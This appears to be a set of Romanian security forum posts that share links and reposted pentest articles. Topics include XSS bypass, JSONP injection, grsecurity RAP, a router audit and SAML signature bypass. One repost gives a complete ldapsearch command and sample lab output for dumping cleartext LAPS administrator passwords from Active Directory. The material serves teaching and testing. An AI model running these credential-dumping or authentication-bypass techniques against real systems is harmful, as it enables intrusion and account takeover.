SirGod

Arhiva cu parola (si nu le mai modifica) pe Google Drive, OneDrive, Dropbox sau ce mai vrei tu.

Tutorial pentru bypass filtre XSS, in doua parti (momentan). Primul contine chestii generice (hex, control characters, octal): http://blog.rakeshmane.com/2016/11/xssing-web-part-1.html Aici se concentreaza pe Unicode (UTF-8, UTF-16, UTF-32, BOM) http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html

"inurl: *.site.com" in secolul 21. https://github.com/fathom6/2017-BSidesLV-Modern-Recon/blob/master/Modern Internet Scale Reconnaisance.pdf

Pare o aplicatie ce iti permite sa configurezi mesajele pe care le poti primi de la operator in caz de alerte. Spre exemplu, in caz de cutremur, se trimite un mesaj (nu SMS) catre toti utilizatorii din zona respectiva. Citeste https://en.wikipedia.org/wiki/Cell_Broadcast Mai poti cauta informatii despre service messages. Daca vrei sa scapi de ea (nu vad de ce), fiind aplicatie proprietara Huawei si inglobata deja in Android-ul lor, nu te ajuta factory reset. Flash-uieste un custom ROM.

PDF-urile pentru prezentarile de la Blackhat 2017: https://media.defcon.org/DEF CON 25/DEF CON 25 presentations/

Aveti aici si articolul aferent exploitului, cu detalii pentru cei interesati: http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html

Autor: ROB 'MUBIX' FULLER Sursa: https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/ If you’ve ever been pentesting an organization that had LAPS, you know that it is the best solution for randomizing local administrator passwords on the planet. (You should just be leaving them disabled). LAPS stores it’s information in Active Directory: The expiration time: ms-Mcs-AdmPwdExpirationTime: 131461867015760024 And the actual password in clear text: ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( When LAPS first came it, any user in Active Directory could read it. Microsoft fixed that, you now have to have the All extended rights permission to the object or Full Control of it. In many organizations, there are pockets of OU admins, or even standard users that are in charge of a specific set of Users and (in particular) computers in which they have full control over. There is already a Metasploit module thanks to Meatballs: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb. But, unfortunately I don’t always have access to a Meterpreter session to run the module. Using ldapsearch (which is included in the package ldapscripts on Debian/Ubuntu) can be used to make the same query that the module does. Here is an example run: ldapsearch -x -h 192.168.80.10 -D \ "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \ "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd Lets break this down: -x - Use basic authentication -h 192.168.80.10 - Connect to the Domain Controller for ldap -D "helpdesk" -w ASDqwe123 - Login as the helpdesk user, with the password ASDqwe123 -b "dc=sittingduck,dc=info" - This loads the base LDAP object of the entire domain. "(ms-MCS-AdmPwd=*)" - Filter out any objects that I can’t see a value for ms-MCS-AdmPwd for. (If you have rights as that user to see even one Administrator password, this will show it.) ms-MCS-AdmPwd - Only show me the ms-MCS-AdmPwd object (which by default includes the object name and DN so you will still know what host it belongs to) What does that look like? $ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd # extended LDIF # # LDAPv3 # base <dc=sittingduck,dc=info> with scope subtree # filter: (ms-MCS-AdmPwd=*) # requesting: ms-MCS-AdmPwd # # DC1, Domain Controllers, sittingduck.info dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F # SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR # SD_WSUS_2012, LabComputers, Lab, sittingduck.info dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T # WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#( # search reference ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info # search reference ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D C=info # search reference ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D C=info # search reference ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info # search result search: 2 result: 0 Success Now, just having the local admin password doesn’t ensure that it’s enabled, but there is a good bet that you are good to go now. P.S. You can also authenticate using Kerberos (think Golden/Silver tickets) P.P.S Because Windows doesn’t (to the best of my knowledge) require signing on Domain Controllers for LDAP connections yet (probably does in 2016 or will soon), with a little bit of coding you can get ntlmrelayx to dump LAPS passwords ;-)

Exista si un exemplu mai util, cu shellcode de meterpreter: https://gist.github.com/Arno0x/1862c9ff7e7138fc3d82eeaa5d530cfe

Cei de la Mozilla au facut un audit de securitate pe Firefox Accounts. Auditul a fost facut de Cure53 (da, incluzand pe Mario Heiderich). Detalii: https://blog.mozilla.org/security/2017/07/18/web-service-audits-firefox-accounts/ Raport complet: https://blog.mozilla.org/security/files/2017/07/FXA-01-report.pdf Un raport curat, informativ, vulnerabilitati actuale (pentru cei satui de ../../etc/passwd si order by 5).

Depinde de modul de operare al firmei. Daca firma te "inchiriaza" clientului si castigarea contractelor depinde de oamenii pe care ii ai (CV-uri), atunci conteaza si experienta, si certificarile si diploma. Daca nu, accentul o sa se puna mai mult pe ce stii sa faci.

Practical JSONP Injection January 18, 2017 Petre Popescu JSONP injection is a lesser known but quite widespread and dangerous vulnerability and it surfaced in the last years due to the high rate of adoption of JSON, web APIs and the urging need for cross-domain communications. What is JSONP? Assuming everybody knows what JSON is, let’s talk a little about JSONP. JSONP comes from JSON with Padding and it was created in order to bypass common restrictions such as Same-origin Policy which is enforced for XMLHttpRequest (AJAX requests). Let’s take an example. Our online banking application, http://verysecurebank.ro, has implemented an API call that returns the current user’s transactions. An HTTP request to the http://verysecurebank.ro/getAccountTransactions endpoint presents us with the transactions, JSON formatted: If our reports application, accessible at http://reports.verysecurebank.ro wants to get the transaction details, an AJAX call to the page won’t be possible, due to Same-origin Policy being in effect (different host). To get around this problem, JSONP came into play. Since Cross-domain script inclusion (mostly used to externally load JavaScript libraries such as jQuery, AngularJS etc.) is allowed, but not recommended, a smart trick apparently solved the entire equation: prepending the response with a callback. Note: even if it might be obvious, it’s worth mentioning that when including a script cross-domain, it will run in the context of the including application, not in the source’s context. Adding a callback to the API response, wrapped around the JSON formatted data, allows us to load the API response between script tags and get its content by defining our own callback function to handle it. Articol: https://securitycafe.ro/2017/01/18/practical-jsonp-injection/

Vad ca tara asta scoate pe banda rulanta numai panselute care sunt stresate de deadline-uri si de invatat lucruri noi. Te astepti sa citesti un tutorial si sa lucrezi 4 ore pe zi cu pauze de masaj si piscina pentru mii de euro pe luna? E un mediu competitiv, dar creierul uman e facut sa invete. Te plafonezi, freci menta, poti sa mergi la spart seminte in fata blocului si e lejer. Si nu poti compara stresul de programator cu cel de neurochirurg. Nu e mare branza daca aprozarul tau online sau jocul tau de spart baloane e cu bug-uri sau apare o luna mai tarziu. Iti trebuie mult mai multe decat o mana ferma. Trebuie si rezistenta la stres, sa iei decizii rapide in situatii critice, concentrare timp de ore intregi, fara pauze de cafea sau tigara. Toate astea in timp ce ai viata unui om in mainile tale. O scapare si il paralizezi sau omori. Si nu te poti juca asa cu vietile oamenilor ca vine altul la rand, nu e chiar asa: malpraxis, puscarie, constiinta. In plus, exista cercetari continue si in domeniul neurochirurgiei: tehnici, studii, instrumente. Creierul nu e acelasi, difera de la om la om: probleme genetice, schimbari datorita stilului de viata, mediului. Deci ar fi destul de studiat. Si astea ca sa poata salva viata programatorului stresat caruia ii explodeaza un vas de sange la cap pentru ca bea 2 bidoane de cola pe zi si mananca numai shaorma cu cartofi prajiti pentru ca e stresat si nu are timp de nimic altceva. Poti fi programator si fara sa iti pierzi noptile sau sa fii virgin la 30 de ani. Totul depinde de prioritati si echilibru.

What are code reuse attacks? Why have they resisted defenses up to now? To explain this story fully, we need some historical context. Since the late 1990s, exploitation of memory corruption vulnerabilities had largely used what's generally called "shellcode" to achieve complete control over a compromised application. In 2000 with the release of PAGEEXEC and MPROTECT by the PaX Team, the use of shellcode (or in more precise words, the introduction of attacker-provided arbitrary code) became impossible. Years later the rest of the industry mostly caught up (with NX in processors, DEP in Windows, etc), though some OSes still have not fully matched the guarantees provided by MPROTECT in particular and thus are affected by clever bypasses every few years. Since the introduction of PAGEEXEC back in 2000, another type of exploitation vector became immediately apparent — what was initially called "ret2libc", then "borrowed code chunks" and finally the formalized "ROP" — attackers could, instead of introducing their own code, reuse existing code in the application to achieve the same goal. For example, the system() function exists in the glibc library, so rather than using shellcode that would execute a shell, an exploit could redirect the program to execute the existing system() function from anywhere in the program to force it to execute a shell on the exploit's behalf. In 2001 the PaX Team created the now widely known Address Space Layout Randomization (ASLR) as an easily-implemented and inexpensive probabilistic defense against these kinds of attacks, more generically referred to as "code reuse attacks". The idea was that since code reuse attacks require some knowledge about the location of the existing code being executed (the address of the system() function for instance), then making it more difficult to find the location of that code in a predictable, reliable way made these attacks more costly and unreliable. The problem was that, though ASLR was conceptually simple and easy to implement, it had a significant (main) weakness: information leaks. If an attacker can see or infer where code is located, in many cases the exploit can dynamically adjust itself to continue as if ASLR isn't there. These kinds of leaks also improve reliability in cases where the contents of the code may not be known beforehand (say with different systems running different versions of the same library). Since 2003 with the publication of the PaX Team's pax-future.txt, academia and the rest of the industry have struggled to come up with a solution to the problem. A formalized version of what was present in pax-future.txt became known as Control Flow Integrity (CFI) two years later in 2005. Many additional academic papers followed and the industry came up with a number of ad-hoc stopgaps for subsets of the problem that generally have been swiftly defeated and bypassed. But no one, not even the large teams at Microsoft and Google, had been able to accomplish three things with any of these proposed solutions: make it scale to arbitrary-sized codebases, make it fast, and make it secure enough to consider the entire class of attacks infeasible for good. This brings us to the Reuse Attack Protector (RAP). What makes RAP so important? The difficulty of achieving the three goals mentioned above cannot be understated. Initial CFI implementations and even those in real life use today (like Microsoft's Control Flow Guard or Google's Indirect Function-Call Checks) implement what is called "forward-edge" CFI. This means that they implement the security checks only when jumping or calling to a particular function, but have no checks for when that function is returning back somewhere. Though protections like SSP have existed for many years now, they're not a true defense against attacks on the return from a function. The idea of SSP and similar defenses (like Microsoft's /GS) is that there's a "canary" value located near the return address to be protected. In the event of some kinds of stack buffer overflows, since the canary is placed between the overflowing buffer and the targeted return address, the canary would be overwritten in the attack. So much like a canary of the bird type detecting carbon monoxide before it could harm the coal miners, SSP and the like instrument code so that prior to returning from a function, the value of the canary would be checked to make sure no harm had come to the return address. But these defenses have run into three major problems over the years: 1) it's not always the case that to modify the return address that one needs to overwrite the canary, 2) the canary value can be leaked similar to how we discussed with ASLR, and 3) due to performance considerations and the unoptimized implementation of these defenses, the checks often didn't exist for functions that should have been protected. RAP has a defined threat model: it operates based on the assumption that an attacker already has the most powerful "exploit primitives" at his or her disposal: the ability to read from and write to anywhere in memory an arbitrary number of times. Many other proposed solutions to code reuse attacks were not designed with this threat model in mind and so have fallen prey to attacks that don't apply to RAP. With this realistic threat model, techniques like ASLR and /GS no longer hold up. Going back to CFI, another problem academics have struggled with is the balance between security and performance. Many of the same forward-edge CFI implementations are also what are called "coarse-grained" CFI. That is, given a particular call or jump to a function, the number of functions the CFI implementation would allow an attacker to call is very large: well outside of what would occur during legitimate execution, and in many implementations, any function at all in the program and its libraries. These "coarse-grained" implementations have been common for two reasons: performance and information limitations. The more fine-grained the implementation, generally the more expensive the checks at each call or jump site become. Particularly with C++ applications that would require many of these checks, this could cripple the performance of the application. Respectively, especially with CFI methods that don't require source code, it was difficult to come up with a classification method that would meet the requirements of limiting the permitted call targets to the smallest set possible without introducing false positives. Trying to solve this problem led most CFI proposals to run into another issue: scalability. To classify the functions, these implementations required knowledge of the entire program to be fit in memory all at once through a compilation technique known as Link-Time Optimization (LTO). For small codebases this isn't an issue, but at the scale of the Linux kernel or the Chromium browser, this poses severe constraints, as Google themselves discovered in their CFI attempts. Finally, several existing CFI implementations (specifically those developed by Google) each target very specific subcategories of C/C++: some don't protect C function pointers, others only protect virtual calls, and none provide return address protection. To compare performance of these weaker solutions, you would need to sum their individual performance impacts and add in the cost of return address protection to compare to RAP. There are several key points to RAP that make it the best defense against code reuse attacks. It is resistant against all the attacks previously mentioned, even in the face of an attacker with the most valuable memory corruption vulnerability at his or her disposal. It is implemented at the proper level in the compiler, early enough that the compiler itself can optimize the changes made by RAP to improve performance. Adding to this, RAP knows when checks should be made and more importantly, when those checks can be eliminated while provably not reducing the security of the defense. The checks performed at each location by RAP are much faster than competing CFI solutions, which means it doesn't have to reduce coverage to achieve high performance, and it can add even more defenses within its performance budget that competitors cannot match. Finally, RAP gets as close as possible to classifying which functions a particular call or jump site may use, and has the ability to make use of simple code changes to restrict the groups even further. It does this in a way that scales to large codebases by not requiring all the information about a program to be in memory at once. How does RAP work? RAP is implemented as a GCC compiler plugin. This means you don't need to use a specially modified compiler; you can use whichever version of GCC is provided by your Linux distribution or embedded vendor. The commercial version of RAP has two components. The first is a deterministic defense limiting both what functions can be called from a given place as well as what locations may be returned to from that function. The second is a probabilistic defense to help ensure that a function can return not just to a group of various call sites as defined by the first defense, but in fact only to the location from which the function was called. The first defense makes use of type information from a program and by using a hashing function, can create a set of hashes such that the number of hashes closely resembles the number of possible different types for functions used by the program. As mentioned earlier, RAP can also make use of simple code changes to increase the granularity even further. Say multiple functions exist that take a single string argument and don't return a value. RAP can make use of the ability of C and C++ to give a known type a different name, say "sensitive_string", to split that group of functions into two while retaining the same exact code semantics. Since the hashes are based off type information, all the information required by RAP can be obtained within a single compilation unit, rather than needing all the information about the program at once like competing solutions mentioned earlier. The second defense is more complicated. On entry to a function, it essentially "encrypts" the address being returned to by the function, prior to any code that could possibly corrupt the return address. The key used to encrypt the return address is stored in a reserved CPU register, generally ensuring that the key itself should not leak. The resulting value of encrypting the return address gets saved in a register, but the actual return address in memory is not modified. On return from the function, the instrumented code will compare whatever return address exists at that point (either legitimate or attacker-modified) to that obtained from decrypting the encrypted return address saved in the other register. If the two do not match, execution is terminated. One note of caution: though the encryption key itself is highly resistant to leaking as it shouldn't be stored or spilled into memory, through separate information leaks of two types, it's possible to infer the key. This is why the deterministic, type-hash-based RAP protection remains in place for returns from functions. The good news is that in many cases, the encryption key doesn't have to stay the same for the lifetime of the thread, process, or kernel. In the kernel, for instance, each system call can use a new key. Likewise on iterations of infinite loops like the kernel's scheduler, a new key can be used. These can both limit the potential damage posed by information leaks. This covers RAP from a high level — of course the reasons for its high performance and security have to do with specific implementation details: instruction encodings, using the fastest instruction sequences possible for checks, complex optimization passes, and knowing how and where to eliminate checks completely without sacrificing security guarantees. What about unaligned instructions? One corollary of RAP that isn't immediately obvious to many is that the threat of unaligned instructions goes away naturally, without having to implement performance-heavy defenses like forced 16-byte instruction alignment. The reason becomes clear when you think about an attack in the order in which it would occur: a function pointer or return address becomes modified by an attacker who then points it in the middle of an existing instruction to result in some useful unintentional sequence of instructions. Since RAP ensures deterministically all locations where a potentially corruptible function pointer or return address is used (what is called "indirect control flow") can only transfer to legitimate locations, it thus prevents transferring to the middle of instructions or anywhere else that isn't a valid site. An interesting facet of the type hash encoding also ensures a function can't return to the beginning of a function, nor the opposite case of a call or jump site transferring control to another call or jump site. How does RAP handle shared libraries? The beauty of RAP's type-hash-based deterministic defense is that it handles shared libraries much more easily than other CFI approaches. Some other fine-grained CFI proposals have to apply complex, performance-intensive algorithms at runtime (generally at library load time). Yet other CFI approaches deal with shared libraries by weakening their classifications of functions, thus lowering the security of the defense. In contrast, since all compilation units agree on the standard for type hash creation, calling a function in a shared library is no different with RAP than making an indirect call to a function in the main executable itself. RAP can be gradually introduced into a larger codebase. It's possible to use it in a mode that only emits the type hashes for functions without instrumenting the code with verification checks at call, jump, and return sites. In this way, the mismatches between function pointer prototypes in library dependencies and the functions they're designed to call (which RAP would detect at compile time) do not need to be fixed up before the application can successfully run. Of course, indirect control flows occurring in those unfixed libraries would not be protected by RAP with the deterministic type hash defense. How does RAP handle Just-In-Time compilation (JIT)? Current JIT engines haven't been architected with security in mind. The most secure method of generating code at runtime is by enforcing the separation of use of the code from the creation of the code. This can be accomplished by splitting the JIT engine out into a separate process, as done by SDCG. Further, the JIT engine would need to be modified to emit hashes usable by RAP and ensure the JIT encoding doesn't allow an attacker enough leeway to control eight consecutive bytes of the JIT output that could be interpreted as a valid RAP hash. To fake the RAP hash for a C++ virtual call, the attacker would need to control sixteen consecutive bytes. The normal constant-blinding techniques used by modern JIT implementations are sufficient for this task. What's the deal with the license? The versions of the GCC compiler which support plugins like RAP are provided under the GPLv3. Unlike the GPLv2, the GPLv3 allows a copyright holder (in this case the Free Software Foundation) to create special license exceptions. In creating the GCC plugin support, which allows access to internal GCC headers and APIs, the FSF wanted to avoid there being a market for proprietary GCC plugins being sold that piggy-back off the many years of work of the GCC developers. The specific exception the FSF came up with is detailed at http://www.gnu.org/licenses/gcc-exception-3.1.en.html. In the exception, called the "GCC Runtime Library Exception", it defines a term called "eligible compilation". The FSF defines eligible compilation as a binary compiled with a toolchain where each component is licensed with something compatible with GCC's GPLv3 license, where the components include GCC itself as well as any associated GCC plugins. The exception states that a binary may only be linked against the GCC runtime libraries (libgcc, libstdc++) if the binary was produced through the eligible compilation process. As the kernel is not linked with the GCC runtime libraries, this exception does not apply, and so the license of the public RAP demo is under the GPLv2. Since however the GPLv2 is incompatible with GPLv3, then this makes the userland binaries (which do link with the GCC runtime libraries) compiled through a non-eligible compilation process. Distributing these userland binaries would be illegal and would violate the copyright of the FSF (but not that of the PaX Team). As sole copyright holder on the RAP plugin itself, the PaX Team is only licensing the full version under a GPLv3 license to commercial customers to permit legal compilation of userland binaries. RAP is available commercially today. Reach us at contact@grsecurity.net for details. Source: https://grsecurity.net/rap_faq.php

Nu știu, nu am încercat. Momentan mi-am crăpat routerul și lucrez la asta. O sa încerc maine dacă mai ai nevoie.

Router-ul Connect Box de la UPC, cel putin al meu, este Compal CH7465LG, software version CH7465LG-NCIP-4.50.18.20-NOSH. M-am apucat de ceva teste pe el si se pare ca SEARCH-LAB a facut o analiza de securitate foarte detaliata, incluzand atat componentele software (network, software, web) cat si hardware, pe Compal CH7465LG-LC Modem/Router CH7465LG-NCIP-4.50.18.13-NOSH. O scurta descriere puteti gasi aici, dar pierdeti toata distractia si informatia: https://www.exploit-db.com/exploits/40159/ Raportul complet, format PDF, este aici: http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf Daca nu v-am convins, uite asa arata cuprinsul: 1 Executive Summary............................................................................................................................ 5 2 Introduction ....................................................................................................................................... 8 2.1 Foreword ................................................................................................................................. 8 2.2 Scope ....................................................................................................................................... 8 2.3 Document overview ................................................................................................................ 8 2.4 Version history ........................................................................................................................ 9 3 Test Environment............................................................................................................................. 10 3.1 Samples and other deliveries................................................................................................ 10 3.1.1 Unique identification and version numbers..................................................................... 10 3.1.2 Design ............................................................................................................................... 10 3.1.3 Components...................................................................................................................... 12 3.1.4 Interfaces.......................................................................................................................... 16 3.2 Documentation and other information................................................................................. 18 3.2.1 Generic and chipset-specific information......................................................................... 18 3.2.2 ToE-specific information................................................................................................... 18 3.3 Tools and testing equipment................................................................................................. 19 3.3.1 Hardware tools ................................................................................................................. 19 3.3.2 Software tools................................................................................................................... 19 4 Security Evaluation........................................................................................................................... 20 4.1 External interfaces................................................................................................................. 20 4.1.1 Front panel buttons and LEDs........................................................................................... 20 4.1.2 RF cable interface with DOCSIS......................................................................................... 21 4.1.3 Telephone connectors...................................................................................................... 21 4.1.4 Ethernet interfaces........................................................................................................... 21 4.2 Internal interfaces................................................................................................................. 21 4.2.1 Flash interfaces................................................................................................................. 22 4.2.2 EEPROM interface............................................................................................................. 22 4.2.3 Local memory interface .................................................................................................... 22 4.2.4 PCIe ................................................................................................................................... 22 4.2.5 UART of the Wi-Fi SoC (J15).............................................................................................. 23 4.2.6 UART of the Main SoC (J23).............................................................................................. 23 4.3 System software.................................................................................................................... 23 4.3.1 Flash contents of the main SoC ........................................................................................ 23 4.3.2 Shells of Main SoC............................................................................................................. 25 4.3.3 Shell of Wi-Fi SoC.............................................................................................................. 28 4.3.4 Shell access in Main SoC ................................................................................................... 29 4.4 Security of the network interfaces........................................................................................ 30 4.4.1 Service discovery .............................................................................................................. 30 4.4.2 Web Server ....................................................................................................................... 33 4.4.3 Web GUI............................................................................................................................ 38 Project work ID: P15- 4.4.4 UPnP.................................................................................................................................. 50 4.4.5 SNMP ................................................................................................................................ 50 4.4.6 RPC.................................................................................................................................... 52 4.4.7 Wi-Free ............................................................................................................................. 57 4.5 Security of the sensitive assets ............................................................................................. 59 4.5.1 Web interface credentials................................................................................................. 59 4.5.2 Wi-Fi credentials............................................................................................................... 60 4.5.3 WPS................................................................................................................................... 60 4.5.4 Security of the backup/restore functionality.................................................................... 61 4.5.5 DOCSIS credentials............................................................................................................ 62 5 Conformance to Requirements........................................................................................................ 64 5.1 Security checklist................................................................................................................... 64 6 Evaluation Results............................................................................................................................ 68 6.1 Findings and recommendations............................................................................................ 68 6.1.1 Serial interface was open on the Main SoC...................................................................... 68 6.1.2 Serial interface was open on the Wi-Fi SoC...................................................................... 68 6.1.3 Bootloader menu was accessible on the Main SoC UART ................................................ 68 6.1.4 Bootloader menu was accessible on the Wi-Fi SoC UART................................................ 69 6.1.5 cbnlogin could cause arbitrary code execution................................................................ 69 6.1.6 Unnecessary services were running on the Main SoC...................................................... 69 6.1.7 Buffer overflow in the Web server HTTP version field ..................................................... 69 6.1.8 HTTPS support was disabled on the Web server.............................................................. 70 6.1.9 Hard-coded private key was used for HTTPS.................................................................... 70 6.1.10 Hard-coded private key could be downloaded from the Web interface without authentication............................................................................................................................... 70 6.1.11 HTTPS certificate could be used to impersonate any web site ........................................ 70 6.1.12 Sensitive information disclosure....................................................................................... 71 6.1.13 Unauthenticated remote DoS against the device............................................................. 71 6.1.14 Super and CSR users could not be disabled...................................................................... 71 6.1.15 Attacker could change first installation flag ..................................................................... 72 6.1.16 Password brute-force protection was not active ............................................................. 72 6.1.17 Password brute-force protection could be bypassed....................................................... 72 6.1.18 The user of the modem might steal or replace the DOCSIS credentials .......................... 72 6.1.19 Unauthenticated remote command injection in ping command..................................... 73 6.1.20 Authenticated remote command injection in tracert command ..................................... 73 6.1.21 Unauthenticated remote command injection in stop diagnostic command ................... 73 6.1.22 Remote DoS with stop diagnostic command.................................................................... 73 6.1.23 Buffer overflow in stop diagnostic command................................................................... 74 6.1.24 Authenticated remote command injection with e-mail sending function ....................... 74 6.1.25 Session management was insufficient.............................................................................. 74 6.1.26 CSRF protection could be bypassed.................................................................................. 75 6.1.27 Unauthenticated DoS against Wi-Fi setting modification ................................................ 75 6.1.28 Unauthenticated DoS against the Wi-Fi functionality ...................................................... 75 6.1.29 Unauthenticated changes in WPS settings....................................................................... 75 6.1.30 Unauthenticated local command injection with RPC on Main SoC.................................. 76 6.1.31 Unauthenticated local command injection with RPC on Wi-Fi SoC.................................. 76 6.1.32 Buffer overflow in the Wi-Fi SoC RPC implementation .................................................... 76 6.1.33 Hard-coded keys were used to encrypt the backup file ................................................... 77 6.1.34 UPC Wi-Free network interface was accessible on the Wi-Fi SoC.................................... 77 6.1.35 Backup/restore interface allowed remote reconfiguration without authentication....... 77 6.2 Risk Analysis .......................................................................................................................... 78 7 References........................................................................................................................................ 81 Appendix A Certificate used for HTTPS.............................................................................................. 82 Appendix B Private key used for HTTPS ............................................................................................ 83 Appendix C Serial console on J15 ...................................................................................................... 85 Appendix D Interactive shell on J15................................................................................................... 87 Appendix E Serial console on J23 ...................................................................................................... 91 Appendix F Interactive boot shell on J23 .......................................................................................... 96

Author: Tim Goddard - Security Consultant at Aura Information Security Link: http://research.aurainfosec.io/bypassing-saml20-SSO/ Bypassing SAML 2.0 SSO with XML Signature Attacks We’ve recently noticed a trend with a lot of New Zealand sites wanting to implement Single Sign-On (SSO) to combat the proliferation of passwords, including many government services. The most prevalent standard for doing this, providing interoperability between many vendors’ frameworks and multiple languages, is SAML 2.0. The usual mechanism for this passes the SAML response certifying the user’s identity through the web browser, using a signature to prevent tampering. Unfortunately, many SAML consumers don’t validate responses properly, allowing attacks up to and including full authentication bypass. Overview SAML 2.0 SSO Identifying SAML Responses Protecting Messages in Transit The XML Signature Standard Getting Started with SAML Raider Checks Is a Signature Required? Is the Signature Validated? Is the Signature From The Right Signer? Is the Correct Part of the Response Signed? Limitations of SAML Raider SAML Pentest Checklist SAML 2.0 SSO When signing in to a site with SAML 2.0, there are three parties involved - the Service Provider (‘SP’, the web application we want to access), the Principal (the user logging in) and the Identity Provider (‘IdP’, the authority). We want to accomplish the aim of getting the Identity Provider to tell the Service Provider, in a trustworthy way, who the Principal is. We do this by having the Service Provider redirect our user to the Identity Provider with a SAML request. Once the Identity Provider is satisfied as to the user’s identity, they send them back to the Service Provider with a SAML response. There are three major ways of sending a message for web SSO, which the standard refers to as “bindings”: HTTP Redirect Binding. We include the SAML message directly in a URL. HTTP POST Binding. We include the SAML message in the body of a POST request. HTTP Artifact Binding. We send a random token, which acts as an identifier to retrieve the document via a back channel. The first two of these can have some serious implementation issues. Identifying SAML Responses As described previously, SAML responses are generally passed either in the URL like this: or in the body of a POST request like this: Both of these forms can be manipulated by an attacking user as it passes through their browser. If, on the other hand, you see a SAML Artifact like this: then there’s probably not much you can do with it as an attacker. These tokens are resolved into the original messages and then retrieved via a back-channel, so unless you have access to the target’s private network (and likely an SSL/TLS implementation bug while you’re at it), these are pretty useless to an attacker. Protecting Messages in Transit The issue here is that in both the HTTP Redirect and HTTP POST bindings, the document from the IdP validating the user’s identity is passed through that user’s browser, and hence may be tampered with in transit. The HTTP Artifact Binding is immune to this particular issue. If these messages lack any protections, an attacker could simply modify the response to, for example, claim to be somebody else. If I log in to the IdP as “Tim” then I could simply alter the response document to claim to be “Emmanuel” instead. In fact, I could just entirely forge the response, become Emmanuel, and impersonate him. Of course, the authors of the standard aren’t lax enough to let that slip past them - they’ve tried very hard to fix this problem. The solution in the standard is to attach an XML Signature to each message, protecting that message against tampering. The XML Signature Standard The XML Signature standard is an immensely complicated beast, designed by a working group involving all the big names, and intended to be a one-size-fits-all solution to building tamper-resistant XML documents. Unfortunately, as is often the case, one-size-fits-all becomes the-only-size-fits-nobody. In a normal application of digital signatures, we take a document to be signed, run it through a cryptographic hash function, and then apply a digital signature algorithm to the hash. If the document received is exactly identical, the signature will validate, whereas if even a single bit changes, the signature becomes invalid and the document is rejected. Unfortunately, XML Signatures have one killer feature - the standard allows us to sign part of the document instead of the whole document, and embed the signature within the same document it’s supposed to be validating - so called inline signatures. The signatures do this by containing a “Reference” to the part of the document they sign, usually by referring to the “ID” attribute of an XML element, but in theory allowing anything in the XPath standard to be used as an expression. I can, in theory, write a signature anywhere within a document that refers to the “third to last <foo> element”, or equally vague expressions. When validating an XML signature it’s not enough to ask the question “is this a valid signature from this signer?”. We also have to ask “is this signature present, referring to the right part of the document, applying all the right canonicalizations, from the expected signer AND valid?”. All too often, at least one of these checks is not implemented. Getting Started with SAML Raider While all attacks described here can be carried out without many tools, SAML Raider1, a Burp proxy plugin, is a useful tool for testing the common cases. Checks As described above, signatures can appear in various places within the SAML message and cover various parts of the message. By keeping the content of the message but adding new parts and modifying the structure of the remaining parts, we can craft messages that are still technically signed correctly, but may be interpreted by SAML libraries as having crucial parts signed when they are not. Whenever the Service Provider is supposed to check something, there’s an opportunity for them to fail to do so or do so incorrectly, giving us an opportunity to bypass the signature. Enable Burp’s interception, capture the SAML request, and try these transformations. Each one should be done against a fresh, valid log-in attempt, as there is usually a nonce preventing us from replaying the same request repeatedly. For repeated attempts, you may benefit from intercepting a single endpoint only in Burp using interception options like this: Is a Signature Required? The SAML standard requires that all messages passed through insecure channels, such as the user’s browser, be signed. However, messages that pass through secure channels, such as an SSL/TLS back channel, do not have to be. As a result of this, we’ve seen SAML consumers that validate any signature present, however silently skip validation if the signature is removed. The software is essentially presuming that we’ve already checked that a message coming from an insecure channel is signed, when this isn’t the case. The impact of this is the ability to simply remove signatures, and tamper with the response as if they weren’t there. SAML raider can test this one pretty easily: Is the Signature Validated? Validating XML signatures is extremely complicated, as the standard expects a series of transformation and canonicalization steps to be applied first (e.g. to ignore the amount of white space). The difficulty of this makes it extremely hard to validate signatures without a fully featured XML Signature library behind you. The impacts of this are: Developers don’t generally understand the internals of signature validation. Intermediate tools, such as web application firewalls, have no idea whether signatures are valid or not. Libraries may have configurable options, such as lists of permitted canonicalization methods, which are meaningless to the developer. The difficulty of implementing this standard, and the somewhat arcane nature of it, leads to the issues we will now look at. First, testing whether the signature is validated at all is simple - change something in the supposedly signed content and see if it breaks. Is the Signature From The Right Signer? Another stumbling block is whether or not the receiver checks the identity of the signer. We haven’t seen this one done wrong, but SAML Raider will make this fairly easy to test. Copy the certificate to SAML Raider’s certificate store: Save and self-sign the certificate, so we have a self-signed copy of the same certificate: Now we can re-sign the original request with our new certificate, either by signing the whole message or the assertion: You could identify which of those two options is normally used by your recipient, or just try each of them. Is the Correct Part of the Response Signed? How XSW Attacks Work The SAML standard allows signatures to appear in two places only: A signature within a <Response> tag, signing the Response tag and its descendants. A signature within an <Assertion> tag, signing the Assertion tag and its descendants. The SAML standard is very specific about where signatures are allowed to be, and what they are allowed to refer to. However, nobody implements XML signatures in all their gory complexity for use in SAML alone. The standard is generic, and so are the implementations and software libraries built for it. As a result, the separation of responsibilities looks like this: The XML Signature library validates according to the XML Signature standard, which allows anything to be signed from anywhere. The SAML library expects the XML Signature library to tell it whether or not the response is valid. 